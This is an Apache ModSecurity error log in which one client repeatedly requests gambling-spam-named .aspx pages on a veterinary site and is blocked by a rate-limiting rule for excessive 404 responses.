[Tue Feb 10 09:00:10.435650 2026] [:error] [pid 47831:tid 47892] [client 146.59.46.29:35874] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "aYqDGidxbZYarWVkiACeAAAAAFM"]
[Tue Feb 10 09:00:10.882535 2026] [:error] [pid 47831:tid 47897] [client 146.59.46.29:35878] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aYqDGidxbZYarWVkiACeBAAAAFg"]
[Tue Feb 10 09:00:11.327185 2026] [:error] [pid 47831:tid 47878] [client 146.59.46.29:35890] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "aYqDGydxbZYarWVkiACeBgAAAEU"]
[Tue Feb 10 09:00:12.891904 2026] [:error] [pid 30054:tid 30064] [client 146.59.46.29:35906] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aYqDHGecgOOXCu-GgYWVZgAAAQg"]
[Tue Feb 10 09:00:13.021236 2026] [:error] [pid 30054:tid 30061] [client 146.59.46.29:35908] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aYqDHWecgOOXCu-GgYWVaAAAAQU"]
[Tue Feb 10 09:00:13.455369 2026] [:error] [pid 47831:tid 47882] [client 146.59.46.29:35922] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "aYqDHSdxbZYarWVkiACeCQAAAEk"]
[Tue Feb 10 09:00:14.105848 2026] [:error] [pid 47937:tid 47945] [client 146.59.46.29:35930] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "aYqDHspqXpC2CvJ3fOPkRAAAAMY"]
[Tue Feb 10 09:00:28.413758 2026] [:error] [pid 30054:tid 30057] [client 146.59.46.29:35942] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aYqDLGecgOOXCu-GgYWVswAAAQE"]
[Tue Feb 10 09:00:28.475647 2026] [:error] [pid 59407:tid 59428] [client 146.59.46.29:35946] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "aYqDLGLlhBXE3qmX-Jl6CgAAAVM"]
[Tue Feb 10 09:00:29.149878 2026] [:error] [pid 47837:tid 47922] [client 146.59.46.29:35954] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "aYqDLXFY8KYFPX79Z4kwjwAAAJY"]
[Tue Feb 10 09:00:29.787455 2026] [:error] [pid 47830:tid 47853] [client 146.59.46.29:35970] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aYqDLUco45BZs8e301CGDQAAAAc"]
[Tue Feb 10 09:00:30.911722 2026] [:error] [pid 59544:tid 59561] [client 146.59.46.29:39740] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "aYqDLqZySR9mFY4BailEqwAAAY0"]
[Tue Feb 10 09:00:30.955823 2026] [:error] [pid 47830:tid 47849] [client 146.59.46.29:39724] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aYqDLkco45BZs8e301CGEAAAAAM"]
[Tue Feb 10 09:00:31.598700 2026] [:error] [pid 30054:tid 30058] [client 146.59.46.29:39748] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aYqDL2ecgOOXCu-GgYWVuwAAAQI"]
[Tue Feb 10 09:00:32.353674 2026] [:error] [pid 59544:tid 59553] [client 146.59.46.29:39754] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aYqDMKZySR9mFY4BailErgAAAYU"]
[Tue Feb 10 09:00:33.429910 2026] [:error] [pid 30054:tid 30076] [client 146.59.46.29:39760] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aYqDMWecgOOXCu-GgYWVwgAAARQ"]
[Tue Feb 10 09:00:33.563024 2026] [:error] [pid 30054:tid 30074] [client 146.59.46.29:39766] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aYqDMWecgOOXCu-GgYWVxAAAARI"]
[Tue Feb 10 09:00:34.390967 2026] [:error] [pid 59544:tid 59566] [client 146.59.46.29:39774] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aYqDMqZySR9mFY4BailEsgAAAZA"]
[Tue Feb 10 09:00:35.129030 2026] [:error] [pid 30054:tid 30075] [client 146.59.46.29:39784] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aYqDM2ecgOOXCu-GgYWVywAAARM"]
[Tue Feb 10 09:00:35.900779 2026] [:error] [pid 59544:tid 59571] [client 146.59.46.29:39800] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aYqDM6ZySR9mFY4BailEswAAAZQ"]
[Tue Feb 10 09:00:35.981901 2026] [:error] [pid 59407:tid 59431] [client 146.59.46.29:39816] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aYqDM2LlhBXE3qmX-Jl6FQAAAVY"]
[Tue Feb 10 09:00:37.035944 2026] [:error] [pid 47937:tid 47940] [client 146.59.46.29:39828] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aYqDNcpqXpC2CvJ3fOPkWgAAAME"]
[Tue Feb 10 09:00:37.829369 2026] [:error] [pid 47837:tid 47917] [client 146.59.46.29:39830] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aYqDNXFY8KYFPX79Z4kwkwAAAJE"]
[Tue Feb 10 09:00:38.315922 2026] [:error] [pid 59544:tid 59570] [client 146.59.46.29:37206] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aYqDNqZySR9mFY4BailEtwAAAZM"]
[Tue Feb 10 09:00:38.525715 2026] [:error] [pid 59544:tid 59554] [client 146.59.46.29:37220] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aYqDNqZySR9mFY4BailEuAAAAYY"]
[Tue Feb 10 09:00:39.482515 2026] [:error] [pid 47831:tid 47891] [client 146.59.46.29:37224] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aYqDNydxbZYarWVkiACeIQAAAFI"]
[Tue Feb 10 09:00:40.374019 2026] [:error] [pid 47837:tid 47914] [client 146.59.46.29:37230] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aYqDOHFY8KYFPX79Z4kwlgAAAI4"]
[Tue Feb 10 09:00:40.941201 2026] [:error] [pid 30054:tid 30068] [client 146.59.46.29:37242] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aYqDOGecgOOXCu-GgYWV2AAAAQw"]
[Tue Feb 10 09:00:41.163990 2026] [:error] [pid 47831:tid 47893] [client 146.59.46.29:37246] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aYqDOSdxbZYarWVkiACeIgAAAFQ"]
[Tue Feb 10 09:00:42.042379 2026] [:error] [pid 59407:tid 59433] [client 146.59.46.29:37260] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aYqDOmLlhBXE3qmX-Jl6HgAAAVg"]
[Tue Feb 10 09:00:42.980451 2026] [:error] [pid 59407:tid 59411] [client 146.59.46.29:37274] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aYqDOmLlhBXE3qmX-Jl6IwAAAUI"]
[Tue Feb 10 09:00:43.583122 2026] [:error] [pid 47831:tid 47879] [client 146.59.46.29:37276] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aYqDOydxbZYarWVkiACeJQAAAEY"]
[Tue Feb 10 09:00:43.649023 2026] [:error] [pid 47837:tid 47913] [client 146.59.46.29:37282] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aYqDO3FY8KYFPX79Z4kwnAAAAI0"]
[Tue Feb 10 09:00:44.400273 2026] [:error] [pid 47831:tid 47875] [client 146.59.46.29:37288] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aYqDPCdxbZYarWVkiACeJwAAAEI"]
[Tue Feb 10 09:00:45.953489 2026] [:error] [pid 47830:tid 47868] [client 146.59.46.29:37296] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aYqDPUco45BZs8e301CGIQAAABY"]
[Tue Feb 10 09:00:46.135228 2026] [:error] [pid 59544:tid 59572] [client 146.59.46.29:37300] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aYqDPqZySR9mFY4BailEvwAAAZU"]
[Tue Feb 10 09:00:46.210666 2026] [:error] [pid 59544:tid 59558] [client 146.59.46.29:37312] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aYqDPqZySR9mFY4BailEwQAAAYo"]
[Tue Feb 10 09:00:46.858120 2026] [:error] [pid 47831:tid 47873] [client 146.59.46.29:37320] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aYqDPidxbZYarWVkiACeLQAAAEA"]
[Tue Feb 10 09:00:48.469627 2026] [:error] [pid 47837:tid 47920] [client 146.59.46.29:54890] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aYqDQHFY8KYFPX79Z4kwnwAAAJQ"]
[Tue Feb 10 09:00:48.637037 2026] [:error] [pid 47831:tid 47893] [client 146.59.46.29:54912] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aYqDQCdxbZYarWVkiACeMQAAAFQ"]
[Tue Feb 10 09:00:48.695474 2026] [:error] [pid 47831:tid 47891] [client 146.59.46.29:54900] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aYqDQCdxbZYarWVkiACeMgAAAFI"]
[Tue Feb 10 09:00:49.478258 2026] [:error] [pid 47831:tid 47879] [client 146.59.46.29:54920] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aYqDQSdxbZYarWVkiACeNAAAAEY"]
[Tue Feb 10 09:00:50.954889 2026] [:error] [pid 47831:tid 47878] [client 146.59.46.29:54932] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aYqDQidxbZYarWVkiACeNQAAAEU"]
[Tue Feb 10 09:00:51.450276 2026] [:error] [pid 59407:tid 59411] [client 146.59.46.29:54934] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aYqDQ2LlhBXE3qmX-Jl6LQAAAUI"]
[Tue Feb 10 09:00:51.489031 2026] [:error] [pid 47830:tid 47855] [client 146.59.46.29:54948] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aYqDQ0co45BZs8e301CGLwAAAAk"]
[Tue Feb 10 09:00:52.031104 2026] [:error] [pid 30054:tid 30063] [client 146.59.46.29:54960] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aYqDRGecgOOXCu-GgYWV5wAAAQc"]
[Tue Feb 10 09:00:53.334883 2026] [:error] [pid 47837:tid 47916] [client 146.59.46.29:54964] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aYqDRXFY8KYFPX79Z4kwogAAAJA"]
[Tue Feb 10 09:00:53.964800 2026] [:error] [pid 59407:tid 59426] [client 146.59.46.29:54972] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aYqDRWLlhBXE3qmX-Jl6LgAAAVE"]
[Tue Feb 10 09:00:54.008028 2026] [:error] [pid 47937:tid 47941] [client 146.59.46.29:54984] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aYqDRspqXpC2CvJ3fOPkZgAAAMI"]
[Tue Feb 10 09:00:54.605052 2026] [:error] [pid 30054:tid 30057] [client 146.59.46.29:54990] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aYqDRmecgOOXCu-GgYWV7wAAAQE"]
[Tue Feb 10 09:00:55.864107 2026] [:error] [pid 47937:tid 47957] [client 146.59.46.29:55002] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aYqDR8pqXpC2CvJ3fOPkbAAAANI"]
[Tue Feb 10 09:00:56.464049 2026] [:error] [pid 59407:tid 59409] [client 146.59.46.29:55012] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aYqDSGLlhBXE3qmX-Jl6MwAAAUA"]
[Tue Feb 10 09:00:57.112101 2026] [:error] [pid 47830:tid 47868] [client 146.59.46.29:55014] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aYqDSUco45BZs8e301CGPAAAABY"]
[Tue Feb 10 09:00:59.015913 2026] [:error] [pid 47837:tid 47900] [client 146.59.46.29:48908] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aYqDS3FY8KYFPX79Z4kwrQAAAIA"]
[Tue Feb 10 09:00:59.669113 2026] [:error] [pid 30054:tid 30079] [client 146.59.46.29:48920] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aYqDS2ecgOOXCu-GgYWV8wAAARc"]
